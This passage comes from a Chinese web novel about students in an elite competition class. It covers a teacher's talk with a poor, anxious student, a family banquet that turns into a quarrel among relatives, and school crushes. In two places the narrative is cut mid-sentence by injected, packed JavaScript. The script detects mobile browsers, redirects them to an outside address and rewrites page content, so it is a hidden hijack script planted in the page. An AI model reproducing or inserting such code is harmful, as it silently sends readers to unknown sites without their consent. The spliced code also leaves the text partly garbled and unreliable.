他一向如此,爱作弄别人。 这话说得甄凝心烦,脸色垮得更厉害,一下子对他那种隐蔽情绪就由伤感转为愤怒,阴阳怪气地说:“哪能呢,我刚才在高兴呢。班长这个职务不招黑才奇怪,越招黑越是尽责体现。” 这还叫高兴?大姐你到时看看你自己的脸有多垮。刘湖岐没多话。 见甄凝还要说些什么,刘湖岐急忙打断,嗤笑一声:“人家是看你平时到处溜达,你看哪有班长没副班忙,副班就一常务摆设,看看。” 甄凝气得胸疼,再也不要喜欢他了,一点点都不好。 刘湖岐抬手揉揉她脑袋算是安慰。 周边一群好事精儿看热闹,别人就爱磕糖,磕得让人难过。 他总是这样,对谁都很一般,只是某个时候对我比她们要好一点点,所以,所以,他们每次的起哄,我都以为你喜欢我,哪怕只是一点点就好。甄凝这样想着。 一次次亲密让我喜欢上他,但,我又强烈知道他不喜欢我。 也许,只有当事人知道亲密关系最微小不可逾矩的距离吧,不过,我的内心极力否认着这个想法。他对我,肯定是不同的,但是每次试图在回忆里寻找所有他爱的证据,却越想越觉得苍白无力。 平常到不可能发生一点情感羁绊。 可是,我决定,因为他随便揉揉我脑袋,再喜欢一天吧,就算真的是随便。 甄凝别过头假装很生气,实则怕眼泪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“好的。”大佬清脆道,接着道歉一句,“不好意思啊。” 丁戈晖属于是原版超现实主义了,头是铁的,嘴是硬的。 罗勇无奈笑着原谅:“没事,我都习惯你好意思了。” 三个女人一台戏。 在哪儿都一样。 虽说表面相亲相爱一家人。 可都得偷偷嘀咕对方几句。 罗勇玩笑道:“你们前班主任曾经就和我说,你们班人每一个很聪明,而且基础很扎实,但任何事情都一定要争一个输赢,胜负心太强,连挨揍都抢着来,头铁得很,哪怕是平时打个麻将放松放松,不至于太好强。” 本来闷闷的大佬丁戈晖一听就不高兴了,咋咋呼呼道:“咋啦,怎么不至于?麻将难道不存在输赢胜负,还有金钱呢!” 罗勇耸耸肩,一副“你看吧”模样。 丁戈晖性格上真是个大炮仗……没事别点,点着了绝对炸。 不过人倒是没坏心眼。 当初夏令营基础学科竞赛的一个教练邀请丁戈晖去国家队训练,并且强调啥都不用管啥都不用带。然后这个炮仗小孩子就只带了一个枕头去了,然后到了宿舍床上垫子都没有,还死鸭子嘴硬挨了半个月折磨。 能这么傻的,倪旖算一个,再一个就是丁戈晖。 听说她俩几个月睡一被窝,但依旧一句话不说,跟陌生人似的。 也不是就她俩,其他小鬼头暂时没暴露得太厉害。 不过倪旖能上蹿下跳把国家队搅个天翻地覆,丁戈晖属于懒得解释东和西,一句不搭理,就纯烦。 教室里面至少四个摄像头,只有一个是拍学生的,剩下三个都是拍老师的。这会儿新教室监控系统,录到敏感词简直就跟迪厅似的高亮。 “他说多了啥?”大马猴摸摸后脖颈,满脸倦意。 林愈合绷紧脸色,没说话。 大马猴只好仔细听。 罗勇讲到一题关于病例背景生物题,那警示器红光闪个不停,死毫不在乎继续说:“希望男生不要搞男同,那直接放入容易导致出血继而感染艾滋……” “好直白。”大马猴那困意瞬间没了,被警示器红光闪瞎眼。 学校前几年直接找相关企业采购成熟技术,好几个定向拾音头和高清摄像头,录得清清楚楚,对外便于回放学习和做网课,声音能转文字变成字幕,然后对内可以看到匹配敏感词,甚至能检测是否匹配大纲和讲义的功能,检测讲课是否能覆盖知识点,是否讲无关内容。 老师跑偏了一般都会自己立马打住。 他还不停,会出事的。 “听说预科竞赛班新生入学体检查出来几个艾滋病,真假不知道,我晚自习班会还得反复强调,主题就是让大家上大学后搞对象的时候注意安全注意卫生,前期教育知识,都不是小孩,血气方刚的年轻人别脑袋一热办错事。粗话说得难听,但不假,就那个U盘!这儿插插那儿插插都容易中毒!更何况是人!” 大马猴怕换班主任他们得完犊子,连忙打岔:“咱成绩棒的三好学生,强国有我。” 老罗摆摆手:“就是聪明的才用打招呼,半拉努力的一个个半夜抱着书啃我倒儿放心。就你们这群滚犊子小东西大是大非的聪明倒是不多,耍滑头小聪明倒是不少,最怕这种。” 这种监视器甚至都能探测手机信号几个格。 平时老班真要管手机,一逮一个准,就是故意睁着眼闭只眼的。 大马猴指指监控,示意老班现在再说一些敏感的东西,下了课就得被学校控制起来开会“讨论”。 罗勇总算收住。 “叮铃——”铃声响起。 罗勇收拾好书籍卷子,热情招呼着班里沉默的小透明徐浣若:“小姑娘,你跟我到办公室一趟。” 班里虽说成绩都不错,可小帮派形态迷糊却存在,学习好的跟学习好的玩,活泼爱闹的跟活泼爱闹的玩。 而徐浣若,两种人都不是。 他当班主任其实都知道,也得多关注着每个小崽子身心健康。 教育这回事,他不是当工作,他当事业,他的小朋友们都要活得如愿以偿、健健康康。 17. 家庭 办公室其他老师都去吃饭,就剩爱拖堂的教导主任罗勇,累撅了似的往上撑个懒腰,装作随意道:“助学贷款名额用不掉,要不要贷点?” 徐浣若没说话,死死咬着唇,苦心经营的虚荣感全部被反诘歼灭掉,痛苦不堪,硬笑一下。 如果申明是助学金,一堆人抢。 虽然班里都挺友善,但教导主任怕这事情乱套,干脆把助学金称为助学贷款,那样顶着还钱的压力还继续借的是真缺钱,那样就避免一堆学生申请,导致真正缺钱的贫困生没办法申请到。 家里情况之前背调过。 真正顶级困难的也只有徐浣若。 单亲家庭,母亲收入不高,但极热爱控制,具体表现为花费本来就不多的钱。 其实,家长对于在孩子身上花钱这件事情向来都是血本无归的,毕竟在孩子身上花钱这个事就是非常简单,你只要花钱就可以获得自我感动,而且孩子一时半会没有办法把钱还给你。 哇,这太厉害了。 你在同龄人身上得不到的掌控欲瞬间得到满足,高高在上像神一般,多划算。 这也是老罗很关注徐浣若心理健康的原因。 原生家庭差的小女孩没办法逻辑自洽,稍微一点风吹草动都感觉天塌了,立马崩溃,其实事情也没大到无法解决。 徐浣若心脏狂跳,手脚顿时全麻,手指尖不自觉蜷缩,过了好一会儿,才从五感皆失的状态缓过来,嘴唇抿得发白,甚至都会抿出一点点血液。 “好。”徐浣若听见自己的声音,音量很小,几不可闻。 就像她尊严碎一地那种。 不是孩童顽皮将足球砸到玻璃窗那种迸发玻璃碎渣,只是风吹日晒后某一刻几不可察的留下缝隙。 她甚至怀疑教导主任没听见。 她希望教导主任没听见。 因为她分不清哪个是她的回答。 处于不知是脆弱自尊还是惯性倔犟,徐浣若非得抬头,就算很沉重。 罗勇又掏出一沓证书,上面红纸大字写着市级三好学生,翻开扉页,每一页都有徐浣若名字。 “学校全网官方视频号需要你来拍视频宣传,分享学习经验,只是学习,你只需要随便说两句。” 只是学习? 不是励志贫困少女奋发图强事迹? 不用像小丑一般将伤疤撕开展示? 不会招惹别人同情指点残忍视线? 罗勇见她发愣,便重复道:“……就只是学习。” 徐浣若垂眸偷偷湿润眼眶。 “老师,我跟倪旖一块儿进省集训队,一块听课,一块练习,虽然平常关系不错,但每次比赛——” 徐浣若没再说下去,她仅剩尊严不允许她继续,她很清楚她身上一直透漏着浓浓的小镇做题家的气质。 无论是竞赛还是日常都透露这种气质,本性喜欢against别人,斤斤计较,没有一点大家的风范,但胆小性格,就只能憋着。 连作为小镇做题家都没那么标准。 自以为傲都是那种很小的东西,怎么说呢,就是跟不懂的人偷偷拿出来炫炫还可以,在顶级班级拿出来得瑟就显得很奇怪,但,就抑制住那种骄傲。 那种骄傲,不纯粹,就是小虚荣。 她无法跟其他同学交心都是有原因的,原因就在于她那别扭性格。 野心,但胆怯到不敢说。 嫉妒,但被刻意洗脑归纳为人之常情。 不能容许有任何道德污渍。 一点点,连念想都不行。 因为事事不如人,总得清白些。 可还忍不住去想。 就像……就像宫斗剧希望她输,她输。她输了之后自己虽然会安慰,但心里挺高兴的,她只是想知道,这样别扭心态是不是太阴暗了? 寄希望于外界给她正面回馈。 罗勇当了很多年班主任,其中小心思多少也私底下跟老前辈琢磨琢磨好几回,便很认真回复:“你具备一个顶尖学生那种优秀到极致的竞争意识,因为冠军只有一个,必须得时刻准备将对手打败。” 极致,是说我太极端? 不应该这样? 是吧? 是的,太阴暗。 徐浣若苦涩蔓延鼻尖。 “嗯?” 这样说后,徐浣若的眼睛里缓缓渗出无法切断的泪水,身体微微颤抖。眼看她就要大声爆哭,但最终还是绷紧嘴唇忍住了,出于那少得可怜的尊严。 罗勇见状继续解释:“没关系,你这是一个市三好那优秀的‘阴暗’,也许你觉得这是不对的,但是好的。” “我不明白。”徐浣若偷偷擦泪。 “遵守规则是有对错之分,挣得利益是好坏之分,我这里规则不是具指特定规章制度,还有约定俗成等,就算有这想法很正常,但最终结果是好的。” 罗勇讲得有点艰难,总感觉胡扯一番。 徐浣若似懂非懂点点头。 “去吃饭吧,这些证书拿回去吧,拍摄视频是下周二大课间,提前备好要说内容,到时候是脱稿采访。” 罗勇交代着。 徐浣若慌乱拾掇这些证书。 “我有说得不懂的,欢迎再来。只要没课和教研会,我都在办公室。” “谢谢。” 徐浣若死死攥着那烫金红册,就好像苦守着应该被淘汰的那份别扭自尊,就好像小孩捍卫口袋里嘴后一颗糖。 罗勇微微叹息,叮嘱一声:“我跟你母亲沟通过,快高三也不是小朋友,没法盯你太紧,事事都汇报,全靠自主,有事就在班群寻求。” 徐浣若点点头,明白他好意,可事事掌控的母亲不明白,从昨晚开始就偷偷生闷气,觉得班主任瞧不起人,丝毫不反思自己行为逾矩。 哪有都快高三还问课后作业? 也就班主任稍微护点她,留点私人空间,不然就跟楚门世界似的被观摩。 “还有错题不懂么?”罗勇接着将话题引到日常学业。 徐浣若将勾勾画画的题册恭敬摆着:“薛定谔方程不太懂。” 罗勇先是尝试给她将明白,看她迷迷糊糊模样,然后接着轻声留点余地说:“这个式子啊,是小化学上的,在我大生物只是背景材料,也不用理解,我大学时候就没明白,后来也没用得上,现在也讲不清楚,要不你不听了吧,你们班贞子姐姐期末也不会出涉及这部分的题的。” 徐浣若点点头,打完招呼便准备离开。 班主任老罗轻声道:“小姑娘啊,你的所思所想和一言一行在别人眼里和在你自己眼里是不一样的。在你自己眼里,你可能就是单纯的想要做某件事,但在别人眼里这就成了你要争权夺利或是攻击他人的预兆。” “所以你是要我放弃这种骨子里犟脾气嘛?”徐浣若不知不觉就带着哭腔,一个人过于在意另一个人对她的看法。 就算他偶偶叹息,她总会往最坏的结果猜测,是不是话说错了,是不是得罪老师,是不是被穿小鞋……她杞人忧天。 老罗摆摆手:“我的意思是,大胆往前走,别管其他人目光。” 徐浣若愣住,等出了办公室门都无意识。 罗勇微微叹息,目视她的背影正出神摸着手机,绞尽脑汁思索今天中午吃了些什么,余光中瞥见一个男孩。 “哎哎——” “我知道,不乱说。” “就你能折腾,天天扰乱纪律,再不消停把你老爸请来,还有,敢乱说,我可是要灭口的,说到做到。” 男孩委屈巴巴,蔫蔫猫着腰出去。 “嗯?”于探赜差点被他撞到,这才停下看手机。 这一瞟不打紧,简直笑得半死。 学校团宠小土狗鼠标还小,不会跳也不会上下楼梯。 丁索隐个人认为这是因为他缺一个参照物,然后,此刻,趁着放学厕所那边小走廊没人,就学狗在楼道里爬上爬下,让鼠标在旁边看着。 不仅如此,她甚至还模仿狗磨皮擦痒的动作。 不过,她没想到,这么偏僻地方好死不死地遇见他。 那一瞬间,丁索隐整个人都麻了,慌忙逃窜一半还忘记带狗,又得折返跑来提狗就跑,她记不得那人当时的表情了。 何况,她,一点都不想记得! 于探赜见她慌忙逃窜黑影就好笑。 跟她在一起的每分每秒就像平常一块小小的海绵芝士蛋糕,很绵软满足,也有流动空气感,最关键,那种充足喘息的缝隙,按下去不会嘭地跳起来,而是慢慢回弹,让人安心,感到很舒服,很舒服。 “嗯?”出神许久的男孩被丁索隐撞了一下。 明明就是正常沟通,面色不改当屁放居多,顶多操天操地般一顿输出,可轮到自己怎么就越跑越迈不动步子? 腿上像灌了铅,整个胸腔也都像给烟烫了似的,疼得要命。 男孩不知道低声嘟囔些什么。 只是眼圈微微发红。 这种被戳破捍卫好久的疤的感觉。 她肯定很难过。 直到身后有电动车冲她按了两声喇叭,徐浣若才回神让路。 她长得就像一个午后少年湿漉漉的梦,那是他想守护的。 徐浣若抬眸,远远望着车上校服鼓风的白外衫,他书包拉链上还挂着个玩偶,她很喜欢,也不是喜欢,羡慕的玲娜贝儿。 男孩略带笑意声音夹在风里传来。 “学校的鸡腿真心比我命还硬……咱们食堂那包子,第一口没看见馅儿,第二口馅儿过去了……” 刚刚总觉得被人盯着看,也许是错觉,徐浣若这样想。 如果问徐浣若最讨厌的是什么?她毫不犹豫就会说,回家。 表妹丁戈晖,没错,就是她班上拽大佬今天办小规模酒席,家里长辈们宴请很多亲戚在家酒店包厢里吃饭。 酒席,升学宴,预录取。 而她还要高考。 因为竞赛成绩差,只加二十分。 是啊,这二十分也是她拼了命的,就这么拼命,也就这么多。 她甚至沮丧到觉得,把她的命跟丁戈晖的在一个秤上掂量,都得少点重量。 饭桌上,徐浣若母亲敬完一轮酒后忽然张罗起来,让徐浣若带着表妹丁索隐给长辈们敬一杯酒,再表演节目。 对,她跟丁戈晖和丁索隐也是表姐妹关系。 表演节目,就是炫耀环节。 也是争点气,可是妈妈,这是别人的升学宴,再怎么样都不能喧宾夺主! 紧张说话时不是忘记内容,而是忘记过渡,徐浣若全然不知道此刻语言。 “就,嗯,所以,啊,我不知道要演什么。”徐浣若小声对妈妈刘斐说,面露难堪,不知该起身端着橙汁还是继续攥黑裤低头装傻。 “随便唱嘛。”妈妈刘斐斜了她一眼。 徐浣若一时也说不出是酸是苦,是呛还是憋闷,就低着头一声不吭,整个包厢气氛就如沸着的水瞬间冰冷。 小姨,也就是丁索隐母亲瞅气氛不对劲,赶忙笑着解围,端着一杯橙汁笑嘻嘻地捧着到她那边。 “不争气。”刘斐推搡下她手腕,抿唇谴责。 徐浣若习惯受这般奚落,可在一堆人面前腾地脸红到耳根,想说什么,嚅动嘴唇没说,呆若木鸡,浑身木半边。 “怎么就不会?”刘斐厉声问她,脸色乌青发紫,十分不悦,还得时不时向周边同辈亲戚陪笑脸。 “算了吧姐,别为难她。”坐在妈妈刘斐一旁小姨开口劝道,脸色和悦,顺手挽过妈妈刘斐的手轻声安抚着。 “那不能算。”坐在徐浣若身边的舅妈突然开口,“这种小场合就打怵!丁索隐可上道得很。” 沉默许久的丁戈晖光明正大翻白眼。 丁索隐如坐针毡,马勒戈壁,你们撕逼扯我身上来干嘛。 妈妈刘斐尴尬到刻意扯起笑意的唇角也立时耷了耷,眼里失望灌满眸色,又羞又恼瞥一眼女儿。 “我家那姑娘天生就这泼辣性格,人来疯似的。还是若若乖,懂事。”小姨马上插话说,甚至责怪瞥一眼舅妈。 装死怪物丁戈晖剧烈咳嗽两声,打破风局涌动,人声嘈杂房间瞬间安静下来,长辈们纷纷将夸赞目光投她身上。 徐浣若被妈妈刘斐猛一揪手腕,被迫缓缓起身,双手微颤举起装满橙汁的玻璃杯,一时间不知道该说点什么,就这么等妹妹先开口,尴尬到抬不起头。 要祝什么?前程似锦来日方长?对待毕业生好像就这点词汇。然后呢?要怎么祝福毕业的人,祝她毕业快乐吗?显得客套又尴尬,小姨肯定有意见…… “哑巴似的不会说。”见徐浣若久久不说话,舅妈急躁说。 徐浣若大口喘息,好似离了水的鱼不能喘息。 她想说话,想辩驳,想说自己并非如此,可唇开合许久,都未能说一句话来,最后也只能憋红了脸说:“祝妹妹毕业快乐,平平安安。” 大姨,也就是丁戈晖母亲,笑得眼睛都眯成一条缝,目光明显盯着她,和蔼可亲地端起酒杯向她道谢。她没什么文化,但给于孩子无条件的爱。 丁戈晖就算如此厌烦草根身份,但依旧尊敬母亲。就算讨厌摆酒席,但妈妈觉得好那便好吧。 徐浣若看得出来,很牵强的笑。 妈妈刘斐也看出来,于是又瞪她一眼,眼里全都是怪她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15222319|165825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不争气,处处被小姨一家压着打。 “有节目啊?索隐。”姥爷放下手里酒杯,笑眯眯问。 丁索隐来蹭热闹,眼睛滴溜滴溜四处张望瞅热闹看。 丁索隐攥着老头也就是姥爷那喜庆暗红衣裳,轻轻晃着表达不乐意,随后用不高不低声音看似暗自嘟囔着:“……我害臊。” 一桌子笑得前仰后翻。 徐浣若嘴巴张张,一时没说话。 丁索隐就是刻意扮丑,将饭桌目光全都引自己身上,谁不知道她大方,只要周末就得去亲戚家蹭饭,顺带表演节目,美其名曰:潦倒破烂,卖艺蹭饭。 “丁戈晖这不保送成功,徐浣若也加分,累得都没影儿,刚得空休息,我寻思背背诗,可笨蛋,背诗太费劲,所以给大家唱首歌!”丁索隐乐呵呵说,属小孩不懂事,啥话都说,说完还得意地冲她挑了下眉。 徐浣若妈妈刘斐瞬间就高傲起来,她女儿最拿得出手的就是成绩,家族里没一个人能打得了,那丁戈晖不过发挥超常罢了,没她闺女厉害的。 丁戈晖母亲就很淡定。 徐浣若如释重负,想用流利顿挫的语调背首《望岳》,刚出声就被制止。 舅妈神色略微不悦,可能成绩对碰太厉害,瞥眼自家不争气还冒头打游戏的儿子,暗自叹气,随后强撑笑意对徐浣若说:“状元换个深奥的。” 状元就是反讽。 呵!她怎么会是状元。 她前面有好多好多人。 多到她被淹摸,多到她籍籍无名。 她就是这样普通、乏味、比上不足,比下……没有下。 丁索隐用胳膊肘杵杵徐浣若,用手背擦下鼻尖汗液,偷偷剐眼舅妈:“姐,你不熟背葬花吟?” 葬。花。吟。 徐浣若用果粒橙把这三个字淹没在唇齿之间。 正在对面那碗筷旁鼓捣纸巾的丁戈晖好奇地看着她。 不对,那不是好奇,那是打量。 打量是个很恶毒词汇,不用做什么,光看一眼,就让人难受。 徐浣若垂下眼皮,感觉到越来越大的水滴正在睫毛上凝结。 周遭躁动声越来越大。 箭在弦上,不得不发。 “甲戌本,花谢花飞飞满天……”徐浣若字字铿锵,将自己最熟悉段落背出,尽量避免停顿处,实在紧张不记得,便随便扯些自编填上去。 丁戈晖听到这蹩脚才艺差点没把嘴里的东西喷出来,心想你们妈还真是够敷衍的,这都能上台面说出来。 她总是看不上任何人的,连同她自己,可又能欣赏每一个女孩,徐浣若那样的人,她从不思索自己的职务对于本人的意义,只是静静的、很忠实的在那里活下去,愚笨也是种天赋。 丁索隐脸上很得意,偷偷嘲笑舅妈那废柴儿子,刻意扬声道:“姐,你真厉害。” 徐浣若感到一种湿漉漉的像是吸了水的海绵似的沉重心情,没笑没说话。 有时候,好成绩是诅咒,褒奖词是诅咒,连期许也还诅咒。 当她坐上那荣誉王座之后,她就不能有弱点,不能有羁绊,不能有后路……因为阴暗处窃窃私语躁动,蝇营狗苟的生物都在盯着她的缝隙,聚精会神。 徐浣若妈妈刘斐更是得意,好似炫耀私人物品,一件金手镯,一件玉吊坠。 丁索隐将表姐丁戈晖摁在位上,接着唱了几句《我和我的祖国》。 众人掌声和夸奖快要淹没徐浣若,只是她知道,都是属于丁索隐的。 她成绩比不上丁戈晖,性格开朗比不上丁索隐,她很差。 徐浣若刚想坐下,就看到站在自己身侧的丁索隐扯她袖子。 “二姨,”丁索隐礼貌询问徐浣若妈妈刘斐,“老师让我明天交试卷,我没我姐厉害,让她去大厅辅导我好不好吗?” “去吧,你姐都知道!”徐浣若的妈妈刘斐说,刻意低调掩饰不住炫耀。 “好嘞!”丁索隐说完,兴高采烈拉起姐姐胳膊,把她拉出包厢。 徐浣若被她拉一路下旋转楼梯,来到宴会一楼厅,甩手特别冷漠道:“你到底要干嘛?” “保密。”丁索隐没被冰冷眸子刺到,拽着她从小道去大厅,一条长长白餐布铺就方桌,侍者有条不紊摆放着各式甜点,有人要结婚。 “吃吧!来者即是客。”丁索隐贼眯眯说,表情和语气极为豪爽仗义。 徐浣若怔怔地看着眼前垃圾食品。 “我二姨一直不让你吃,吃到嗨,我会替你保密的哦。”丁索隐凑上去偷偷跟她说,眼里也流露渴望。 徐浣若的视线缓缓移动到丁索隐笑得极其灿烂的脸上:“为什么?” 刚说出口,便后悔,徐浣若只是单方面讨厌丁索隐,她并没做错什么,她从来就是这样的,永远热烈,永远尽享欢愉。永远心跳,永远年少青春。 她只是嫉妒,一直阴暗潮湿。 很快,俩人就被狼狈赶出来。 没付份子钱自然被请出门。 俩人相视一笑,徐浣若决定不那么讨厌她,至少不表现那么多。 “若若,你怎么那么聪明,加分,我还得苦逼去裸分高考。”丁索隐攥她手扯人去一边消防通道聊天去,一阶一阶往上蹦,青春活泼。 徐浣若慢慢跟着她,古板严谨。 “过几天倪旖请客,”丁索隐见她表情像是拒绝,便捂她嘴,很凶,威胁着,“必须得去。” 徐浣若摆摆头,揉揉被碰得有些痒的鼻尖,见她渴望又怕她胡搅蛮缠便点点头,决心下次一定不要同意。 忽然玻璃窗外雨中传来三声沉闷的炮响,丁索隐才意识古典钟报时了,赶紧拖人回包厢,又开始扮丑跟一桌长辈闹个遍,众人又嫌又爱,笑得合不拢嘴。 徐浣若低头坐着羡慕又自卑,她的自尊用望其项背的成绩掩饰,她的自信用黑白琴键装饰掩藏……她只有不是她时,才没那么局促难堪。 舅妈察言观色,主要是希望保送的侄女辅导辅导儿子数学,试探性询问:“丁戈晖就是聪明啊,我家儿就不行,要是姐姐教教就好。” “为什么不报暑假班?”丁戈晖眉头一皱,一边往嘴里数着饭粒,一边面无表情地问。 “外人哪有家里人尽心。”舅妈急忙道。 丁索隐妈妈看她脸上挂不住,赶忙打圆场:“是啊,家里人要好些。” “是怕花钱吧。”丁戈晖淡淡道,并没理小姨,而是自顾自的说。 舅妈心里窝火,正想开口反驳,哪成想她下面的话让人当场石化。 “穷就别生啊。”丁戈晖性子特直,就看不惯贪便宜的人,她家每次都被白嫖,小到扫帚苹果,大到房产车子。 18. 愣子 姥爷脸色微变,指责道:“我感觉你说话太刻薄,生女育儿本就是人类本能和文化传统,穷就别生这样的鬼话,脑残又自私。” 丁戈晖谁都不给面,本来姥爷那边就重男轻女,老欺负她大字不识的母亲,她母亲不受教育纯粹是被家里拖累,便阴阳怪气:“什么都你感觉,你咋不感觉自己能左脚踩右脚上天呢?” “你妈怎么教育你的?没廉耻。”舅妈愤慨,道不明是为谁。 丁戈晖定定心心,继续当个战神:“我要注意廉耻?谁死后不会长出蛆来?” “狂什么狂?等到社会自然有人收拾你。”舅舅倚老卖老惯了,黑着脸呵斥。 丁戈晖也没再怼,剑眉微皱,淡漠凝重,眸光流转,眼底只余清冷,被人看热闹也挺烦,便冷言:“连一个稍有狂气的人才都容不下的时代,再装些什么繁盛气象又有屁用?” 那些油腻中年男被刺到,又要教育小辈。 丁戈晖妈妈见状一拍桌,为女儿出头,指着弟媳破口大骂:“你是经过深思熟虑,百利而无一害才去做,只是你没想到小晖不给你面子。” 就算丁戈晖妈妈早年大字不识,但陪着女儿一路念书,自学很多,也不像外表那样粗糙吃了很多苦。 舅妈死鸭子嘴硬道:“现在人都这么冷漠的吗?这可都算是直系亲戚了诶!我孩子要是对近亲说这样的话我不抽死他,品德有问题。” 姥爷拉偏架,翘着二郎腿:“清朝末年到加入世贸前,国家一直穷得响叮当,是不是就只有几百人万人能生,其他几亿人都别生了!” 舅妈推搡一下丁戈晖母亲,叫嚣附和道:“对对对对,嘴巴恶毒,活了三十多岁,第一次有这么多人骂我。” 姥爷就偏宠舅舅那一家,属于重男轻女忠实拥护者。 “你就算活130多岁,做这事儿还是一样会被骂。因为事儿做的就不对,别‘第一次有人这么骂我’了,委屈给谁看呢?我是你妈啊?你委屈就得心疼?”丁戈晖瞪一眼,以牙还牙,推搡回去,冷冷道。 饭桌剑拔弩张,众人拉架才稍微好点,宴客结束,小姨,也就是丁索隐母亲,招呼着打车回去。 徐浣若望着小姨将姥爷送进舅妈车里,隐约听见舅妈悄摸往她心头插刀,她没父亲接,他父亲出轨二婚,她徐姓氏很讽刺……她很可怜。 “舅妈,喝不喝水,我看你吃了不少香肠,是不是太咸?”丁索隐钻车里跟姥爷家住去,从后座缝隙找出瓶矿泉水给她递过去。 舅妈一僵,一众亲戚在也只好顺坡下驴,接过那瓶水,使劲攥着讪讪一笑解释:“是吃多了。” 丁索隐假笑着附和道:“怕是撑了。” 舅妈怒视一眼,只好吃下委屈。 “舅妈,我给你拧。”丁索隐又开始偷偷加大炮轰炸欺负徐浣若的人,笑得无辜抢过那瓶水,“您省省力气。” 一出好戏,丁戈晖静静看热闹。 丁索隐嫌炸毛便琢磨着假装落下东西在餐厅回去。 淘气鬼。 丁索隐扮演得很成功,成功地被人当成了所谓的淘气鬼。 其实,她也会疲倦。 可是,她深知,在这世间,没人在意真相,但却很需要润滑剂。 于是,她决定一忍到底,继续插科打诨。 一阵悦耳钢琴曲钻来。 丁索隐惫懒一抬眸。 是,于探赜。 尽管知道不少于探赜的怪癖以及无数关于他的辉煌经历,但这还是她第一次看于探赜弹《哥德堡变奏曲》,猫着腰,耸着肩,蜷缩在钢琴前姿势。 “老师——”丁索隐等他弹完便过去打招呼。 于探赜将钢琴上一小块蛋糕给她递过去。 低糖低脂桂花乌龙月兔木糖醇水果蛋糕。 丁索隐一直想吃的,攥着蛋糕浅绿色绸带,感动被好奇取代。 “参加婚宴,刚好一人一块餐后甜点,给你打包的。”于探赜随意道,轻飘飘一句话,可他不知道丁索隐心脏暖得要着火。 “那玉兔跟个小耗子似的,好恶心。”丁索隐在感动死时也会俗套说反话,好像怕暴露些什么,暴露不知感动,还有她也不懂的情感。 “爱要不要。”于探赜挺傲娇。 丁索隐在手机上敲字,说自己搭公交回学校,还顺嘴问:“老师,为了报答你,我给你付公交车一块钱交通费。” “我骑了电瓶车。”于探赜无奈。 “可以带我嘛?我给你省钱。”丁索隐眼里冒光。 “我不会带人啊。”于探赜着实没尝试过。 “我会。”丁索隐飞快拖着于探赜去找电瓶车。 莫名其妙被薅到后座,于探赜离她一个拳头远,她车技不是特熟。 在一个红绿灯路口,她刹车来不及甚至直接撞上了前小电驴的后挡泥板。 磕得很轻,车都没什么事,就是前面的骑手有被作用力晃了一下。 前方那个是虎背熊腰的大哥。 那一瞬间,一张怒上心头的狰狞面孔,狠狠转头,C语言都已经在他嘴边如决堤的潮水,直到他迎上丁索隐不知所措但努力卖乖的脸。 “我cccc……” “对不起对不起对不起……”丁索隐很抱歉。 “啊,开车要小心一点啊,人没事吧。”大哥一瞬间心软,最后也没说上一句重话,还叮嘱了以后绿灯读秒了就要及时刹车。 丁索隐一脸懵扭头问:“居然不揍我?” “……因为你长得漂亮。” “嗯?”丁索隐当丑角习惯了,从来没人夸她长相,便脸颊微微荡漾薄红,“我像雨果名著《巴黎圣母院》里的钟楼怪人卡西莫多。” “赶紧走,我还要备课。”于探赜懒得搭理。 “你再夸——” 话还没说完,这13居然再次不耐烦。 “滚——” “……”好吧,滚就滚,丁索隐想着,可不得劲,便故意突然急刹车逗他玩,没想到那人失重瞬间搂住她小腹,温热隔着衣裳传来。 于探赜赶紧撒手。 丁索隐也当做没发生啥。 有些肢体接触是意外,不是意外也得当意外。 这边,倪旖嘻嘻哈哈在门口等着补妆的甄凝,抓住她就兴奋道:“蚂蚱油炸烤熟,都可以吃啊。” “咦咦咦——”甄凝满脸排斥,右胸口上绣着属于斯莱特林的徽章,社团宣传作用,套校服外面,束缚住本身释放出来的沙雕感。 不说话就冷漠,倒衬几分斯文与矜贵,甄凝往后躲躲,特嫌弃道:“我上厕所啊。” 倪旖点点头,攥着玻璃培养皿,她回忆前段时间自行车她手臂圈着的腰,她那时紧张没敢细细感觉。 现在回想起来,小臂触感硬硬的,手腕搭着的腹部起伏凹凸,蒋商鉴好像是有腹肌的。 倪旖就是作妖非得回国,不然好几年前就在国外上大学,妈妈不放心她上全日制大学,回国后稍微掌握中文后得在高二混混时间,顺便给妈妈的母校高中挣点光。 不知不觉已到正午,倪旖走在去食堂长廊上,周围寂静得很。 一上午都被可爱活泼小男生围绕着,现在终于清闲,倪旖拎着一袋子毛线走在前,甄凝懒洋洋跟在后:“既然受欢迎,干嘛不愿意跟他们一起吃食堂?” “闭嘴啊,你小脑萎了?那表白的哥们还是个倒数。”倪旖低头攥着毛衣铁签在指尖绕绕勾圈圈。 甄凝勾着她肩膀,慢慢地走,“装了一天,累吧?” “那群小孩儿。”倪旖话内带讽。 “你哟,就别厌蠢太明显。”甄凝站在楼梯间阴影里,脸埋在她的脖颈处,声音低哑却坚定,“我也蠢。” “确实,”倪旖赞同道,“但我还能忍忍。” “那么多人追,没一个看上?”甄凝揉揉微微酸涩的眼眶。 “没共同语言。”倪旖实话道。 “确实难为你。”甄凝笑道。 “我这心理年纪四十岁,反正别来招惹,烦,我是狮子,等着驯服,不会被喂养,那些阿猫阿狗没眼力见。” 倪旖耳边嗡嗡响了两声,她没什么表情地盯着眼前防滑地板,每一个字都变得模糊起来,渐渐变成手机上那几行交流互动。 “好中二的发言。”甄凝特嫌弃。 “我给你带好东西,哝——”甄凝语言间有点倦意。 倪旖顺着她视线瞅见一袋子新鲜凉薯,微微诧异道:“红薯?哪科属?豆科豆薯属的草质藤本植物?” 